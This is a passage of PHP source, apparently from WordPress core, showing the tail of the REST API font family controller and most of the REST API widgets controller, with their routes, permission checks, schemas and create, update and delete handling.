	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}

		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'font_faces', $fields ) ) {
			$data['font_faces'] = $this->get_font_face_ids( $item->ID );
		}

		if ( rest_is_field_included( 'font_family_settings', $fields ) ) {
			$data['font_family_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font family data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font family post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                   => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version'   => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_faces'           => array(
					'description' => __( 'The IDs of the child font faces in the font family.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
					'items'       => array(
						'type' => 'integer',
					),
				),
				// Font family settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_family_settings' => array(
					'description'          => __( 'font-face definition in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'name'       => array(
							'description' => __( 'Name of the font family preset, translatable.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'slug'       => array(
							'description' => __( 'Kebab-case unique identifier for the font family preset.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_title',
							),
						),
						'fontFamily' => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'preview'    => array(
							'description' => __( 'URL to a preview image of the font family.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'name', 'slug', 'fontFamily' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font family collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font family controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_family_collection_params', $query_params );
	}

	/**
	 * Get the arguments used when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font family create/edit arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) {
			$properties = $this->get_item_schema()['properties'];
			return array(
				'theme_json_version'   => $properties['theme_json_version'],
				// When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data.
				// Font families don't currently support file uploads, but may accept preview files in the future.
				'font_family_settings' => array(
					'description'       => __( 'font-family declaration in theme.json format, encoded as a string.' ),
					'type'              => 'string',
					'required'          => true,
					'validate_callback' => array( $this, 'validate_font_family_settings' ),
					'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ),
				),
			);
		}

		return parent::get_endpoint_args_for_item_schema( $method );
	}

	/**
	 * Get the child font face post IDs.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return int[] Array of child font face post IDs.
	 */
	protected function get_font_face_ids( $font_family_id ) {
		$query = new WP_Query(
			array(
				'fields'                 => 'ids',
				'post_parent'            => $font_family_id,
				'post_type'              => 'wp_font_face',
				'posts_per_page'         => 99,
				'order'                  => 'ASC',
				'orderby'                => 'id',
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);

		return $query->posts;
	}

	/**
	 * Prepares font family links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = parent::prepare_links( $post );

		return array(
			'self'       => $links['self'],
			'collection' => $links['collection'],
			'font_faces' => $this->prepare_font_face_links( $post->ID ),
		);
	}

	/**
	 * Prepares child font face links for the request.
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return array Links for the child font face posts.
	 */
	protected function prepare_font_face_links( $font_family_id ) {
		$font_face_ids = $this->get_font_face_ids( $font_family_id );
		$links         = array();
		foreach ( $font_face_ids as $font_face_id ) {
			$links[] = array(
				'embeddable' => true,
				'href'       => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ),
			);
		}
		return $links;
	}

	/**
	 * Prepares a single font family post for create or update.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();
		// Settings have already been decoded by ::sanitize_font_family_settings().
		$settings = $request->get_param( 'font_family_settings' );

		// This is an update and we merge with the existing font family.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$existing_settings = $this->get_settings_from_post( $existing_post );
			$settings          = array_merge( $existing_settings, $settings );
		}

		$prepared_post->post_type   = $this->post_type;
		$prepared_post->post_status = 'publish';
		$prepared_post->post_title  = $settings['name'];
		$prepared_post->post_name   = sanitize_title( $settings['slug'] );

		// Remove duplicate information from settings.
		unset( $settings['name'] );
		unset( $settings['slug'] );

		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Gets the font family's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font family post object.
	 * @return array Font family settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings_json = json_decode( $post->post_content, true );

		// Default to empty strings if the settings are missing.
		return array(
			'name'       => isset( $post->post_title ) && $post->post_title ? $post->post_title : '',
			'slug'       => isset( $post->post_name ) && $post->post_name ? $post->post_name : '',
			'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '',
			'preview'    => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '',
		);
	}
}
<?php
/**
 * REST API: WP_REST_Widgets_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widgets via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widgets_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Widgets controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'widgets';
	}

	/**
	 * Registers the widget routes for the controller.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			$this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			$this->rest_base . '/(?P<id>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'description' => __( 'Whether to force removal of the widget, or move it to the inactive sidebar.' ),
							'type'        => 'boolean',
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		if ( isset( $request['sidebar'] ) && $this->check_read_sidebar_permission( $request['sidebar'] ) ) {
			return true;
		}

		foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
			if ( $this->check_read_sidebar_permission( $sidebar_id ) ) {
				return true;
			}
		}

		return $this->permissions_check( $request );
	}

	/**
	 * Retrieves a collection of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$this->retrieve_widgets();

		$prepared          = array();
		$permissions_check = $this->permissions_check( $request );

		foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
			if ( isset( $request['sidebar'] ) && $sidebar_id !== $request['sidebar'] ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_sidebar_permission( $sidebar_id ) ) {
				continue;
			}

			foreach ( $widget_ids as $widget_id ) {
				$response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request );

				if ( ! is_wp_error( $response ) ) {
					$prepared[] = $this->prepare_response_for_collection( $response );
				}
			}
		}

		return new WP_REST_Response( $prepared );
	}

	/**
	 * Checks if a given request has access to get a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( $sidebar_id && $this->check_read_sidebar_permission( $sidebar_id ) ) {
			return true;
		}

		return $this->permissions_check( $request );
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param string $sidebar_id The sidebar ID.
	 * @return bool Whether the sidebar can be read.
	 */
	protected function check_read_sidebar_permission( $sidebar_id ) {
		$sidebar = wp_get_sidebar( $sidebar_id );

		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Gets an individual widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );
	}

	/**
	 * Checks if a given request has access to create widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$sidebar_id = $request['sidebar'];

		$widget_id = $this->save_widget( $request, $sidebar_id );

		if ( is_wp_error( $widget_id ) ) {
			return $widget_id;
		}

		wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );

		$request['context'] = 'edit';

		$response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response->set_status( 201 );

		return $response;
	}

	/**
	 * Checks if a given request has access to update widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates an existing widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		global $wp_widget_factory;

		/*
		 * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		// Allow sidebar to be unset or missing when widget is not a WP_Widget.
		$parsed_id     = wp_parse_widget_id( $widget_id );
		$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );
		if ( is_null( $sidebar_id ) && $widget_object ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		if (
			$request->has_param( 'instance' ) ||
			$request->has_param( 'form_data' )
		) {
			$maybe_error = $this->save_widget( $request, $sidebar_id );
			if ( is_wp_error( $maybe_error ) ) {
				return $maybe_error;
			}
		}

		if ( $request->has_param( 'sidebar' ) ) {
			if ( $sidebar_id !== $request['sidebar'] ) {
				$sidebar_id = $request['sidebar'];
				wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );
			}
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );
	}

	/**
	 * Checks if a given request has access to delete widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		/*
		 * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		$request['context'] = 'edit';

		if ( $request['force'] ) {
			$response = $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );

			$parsed_id = wp_parse_widget_id( $widget_id );
			$id_base   = $parsed_id['id_base'];

			$original_post    = $_POST;
			$original_request = $_REQUEST;

			$_POST    = array(
				'sidebar'         => $sidebar_id,
				"widget-$id_base" => array(),
				'the-widget-id'   => $widget_id,
				'delete_widget'   => '1',
			);
			$_REQUEST = $_POST;

			/** This action is documented in wp-admin/widgets-form.php */
			do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

			$callback = $wp_registered_widget_updates[ $id_base ]['callback'];
			$params   = $wp_registered_widget_updates[ $id_base ]['params'];

			if ( is_callable( $callback ) ) {
				ob_start();
				call_user_func_array( $callback, $params );
				ob_end_clean();
			}

			$_POST    = $original_post;
			$_REQUEST = $original_request;

			$widget_object = $wp_widget_factory->get_widget_object( $id_base );

			if ( $widget_object ) {
				/*
				 * WP_Widget sets `updated = true` after an update to prevent more than one widget
				 * from being saved per request. This isn't what we want in the REST API, though,
				 * as we support batch requests.
				 */
				$widget_object->updated = false;
			}

			wp_assign_widget_to_sidebar( $widget_id, '' );

			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $response->get_data(),
				)
			);
		} else {
			wp_assign_widget_to_sidebar( $widget_id, 'wp_inactive_widgets' );

			$response = $this->prepare_item_for_response(
				array(
					'sidebar_id' => 'wp_inactive_widgets',
					'widget_id'  => $widget_id,
				),
				$request
			);
		}

		/**
		 * Fires after a widget is deleted via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string                    $widget_id  ID of the widget marked for deletion.
		 * @param string                    $sidebar_id ID of the sidebar the widget was deleted from.
		 * @param WP_REST_Response|WP_Error $response   The response data, or WP_Error object on failure.
		 * @param WP_REST_Request           $request    The request sent to the API.
		 */
		do_action( 'rest_delete_widget', $widget_id, $sidebar_id, $response, $request );

		return $response;
	}

	/**
	 * Performs a permissions check for managing widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error
	 */
	protected function permissions_check( $request ) {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Saves the widget in the request object.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request    Full details about the request.
	 * @param string          $sidebar_id ID of the sidebar the widget belongs to.
	 * @return string|WP_Error The saved widget ID.
	 */
	protected function save_widget( $request, $sidebar_id ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number().

		if ( isset( $request['id'] ) ) {
			// Saving an existing widget.
			$id            = $request['id'];
			$parsed_id     = wp_parse_widget_id( $id );
			$id_base       = $parsed_id['id_base'];
			$number        = isset( $parsed_id['number'] ) ? $parsed_id['number'] : null;
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			$creating      = false;
		} elseif ( $request['id_base'] ) {
			// Saving a new widget.
			$id_base       = $request['id_base'];
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			$number        = $widget_object ? next_widget_id_number( $id_base ) : null;
			$id            = $widget_object ? $id_base . '-' . $number : $id_base;
			$creating      = true;
		} else {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'Widget type (id_base) is required.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'The provided widget type (id_base) cannot be updated.' ),
				array( 'status' => 400 )
			);
		}

		if ( isset( $request['instance'] ) ) {
			if ( ! $widget_object ) {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'Cannot set instance on a widget that does not extend WP_Widget.' ),
					array( 'status' => 400 )
				);
			}

			if ( isset( $request['instance']['raw'] ) ) {
				if ( empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					return new WP_Error(
						'rest_invalid_widget',
						__( 'Widget type does not support raw instances.' ),
						array( 'status' => 400 )
					);
				}
				$instance = $request['instance']['raw'];
			} elseif ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) {
				$serialized_instance = base64_decode( $request['instance']['encoded'] );
				if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) {
					return new WP_Error(
						'rest_invalid_widget',
						__( 'The provided instance is malformed.' ),
						array( 'status' => 400 )
					);
				}
				$instance = unserialize( $serialized_instance );
			} else {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'The provided instance is invalid. Must contain raw OR encoded and hash.' ),
					array( 'status' => 400 )
				);
			}

			$form_data = array(
				"widget-$id_base" => array(
					$number => $instance,
				),
				'sidebar'         => $sidebar_id,
			);
		} elseif ( isset( $request['form_data'] ) ) {
			$form_data = $request['form_data'];
		} else {
			$form_data = array();
		}

		$original_post    = $_POST;
		$original_request = $_REQUEST;

		foreach ( $form_data as $key => $value ) {
			$slashed_value    = wp_slash( $value );
			$_POST[ $key ]    = $slashed_value;
			$_REQUEST[ $key ] = $slashed_value;
		}

		$callback = $wp_registered_widget_updates[ $id_base ]['callback'];
		$params   = $wp_registered_widget_updates[ $id_base ]['params'];

		if ( is_callable( $callback ) ) {
			ob_start();
			call_user_func_array( $callback, $params );
			ob_end_clean();
		}

		$_POST    = $original_post;
		$_REQUEST = $original_request;

		if ( $widget_object ) {
			// Register any multi-widget that the update callback just created.
			$widget_object->_set( $number );
			$widget_object->_register_one( $number );

			/*
			 * WP_Widget sets `updated = true` after an update to prevent more than one widget
			 * from being saved per request. This isn't what we want in the REST API, though,
			 * as we support batch requests.
			 */
			$widget_object->updated = false;
		}

		/**
		 * Fires after a widget is created or updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $id         ID of the widget being saved.
		 * @param string          $sidebar_id ID of the sidebar containing the widget being saved.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating a widget, false when updating.
		 */
		do_action( 'rest_after_save_widget', $id, $sidebar_id, $request, $creating );

		return $id;
	}

	/**
	 * Prepares the widget for the REST response.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The registered widgets.
	 *
	 * @param array           $item    An array containing a widget_id and sidebar_id.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_widget_factory, $wp_registered_widgets;

		$widget_id  = $item['widget_id'];
		$sidebar_id = $item['sidebar_id'];

		if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'The requested widget is invalid.' ),
				array( 'status' => 500 )
			);
		}

		$widget    = $wp_registered_widgets[ $widget_id ];
		$parsed_id = wp_parse_widget_id( $widget_id );
		$fields    = $this->get_fields_for_response( $request );

		$prepared = array(
			'id'            => $widget_id,
			'id_base'       => $parsed_id['id_base'],
			'sidebar'       => $sidebar_id,
			'rendered'      => '',
			'rendered_form' => null,
			'instance'      => null,
		);

		if (
			rest_is_field_included( 'rendered', $fields ) &&
			'wp_inactive_widgets' !== $sidebar_id
		) {
			$prepared['rendered'] = trim( wp_render_widget( $widget_id, $sidebar_id ) );
		}

		if ( rest_is_field_included( 'rendered_form', $fields ) ) {
			$rendered_form = wp_render_widget_control( $widget_id );
			if ( ! is_null( $rendered_form ) ) {
				$prepared['rendered_form'] = trim( $rendered_form );
			}
		}

		if ( rest_is_field_included( 'instance', $fields ) ) {
			$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );
			if ( $widget_object && isset( $parsed_id['number'] ) ) {
				$all_instances                   = $widget_object->get_settings();
				$instance                        = $all_instances[ $parsed_id['number'] ];
				$serialized_instance             = serialize( $instance );
				$prepared['instance']['encoded'] = base64_encode( $serialized_instance );
				$prepared['instance']['hash']    = wp_hash( $serialized_instance );

				if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					// Use new stdClass so that JSON result is {} and not [].
					$prepared['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance;
				}
			}
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $context );

		$response = rest_ensure_response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $prepared ) );
		}

		/**
		 * Filters the REST API response for a widget.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure.
		 * @param array                     $widget   The registered widget data.
		 * @param WP_REST_Request           $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_widget', $response, $widget, $request );
	}

	/**
	 * Prepares links for the widget.
	 *
	 * @since 5.8.0
	 *
	 * @param array $prepared Widget.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $prepared ) {
		$id_base = ! empty( $prepared['id_base'] ) ? $prepared['id_base'] : $prepared['id'];

		return array(
			'self'                      => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $prepared['id'] ) ),
			),
			'collection'                => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'about'                     => array(
				'href'       => rest_url( sprintf( 'wp/v2/widget-types/%s', $id_base ) ),
				'embeddable' => true,
			),
			'https://api.w.org/sidebar' => array(
				'href' => rest_url( sprintf( 'wp/v2/sidebars/%s/', $prepared['sidebar'] ) ),
			),
		);
	}

	/**
	 * Gets the list of collection params.
	 *
	 * @since 5.8.0
	 *
	 * @return array[]
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
			'sidebar' => array(
				'description' => __( 'The sidebar to return widgets for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the widget's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'widget',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'Unique identifier for the widget.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'id_base'       => array(
					'description' => __( 'The type of the widget. Corresponds to ID in widget-types endpoint.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'sidebar'       => array(
					'description' => __( 'The sidebar the widget belongs to.' ),
					'type'        => 'string',
					'default'     => 'wp_inactive_widgets',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'rendered'      => array(
					'description' => __( 'HTML representation of the widget.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rendered_form' => array(
					'description' => __( 'HTML representation of the widget admin form.' ),
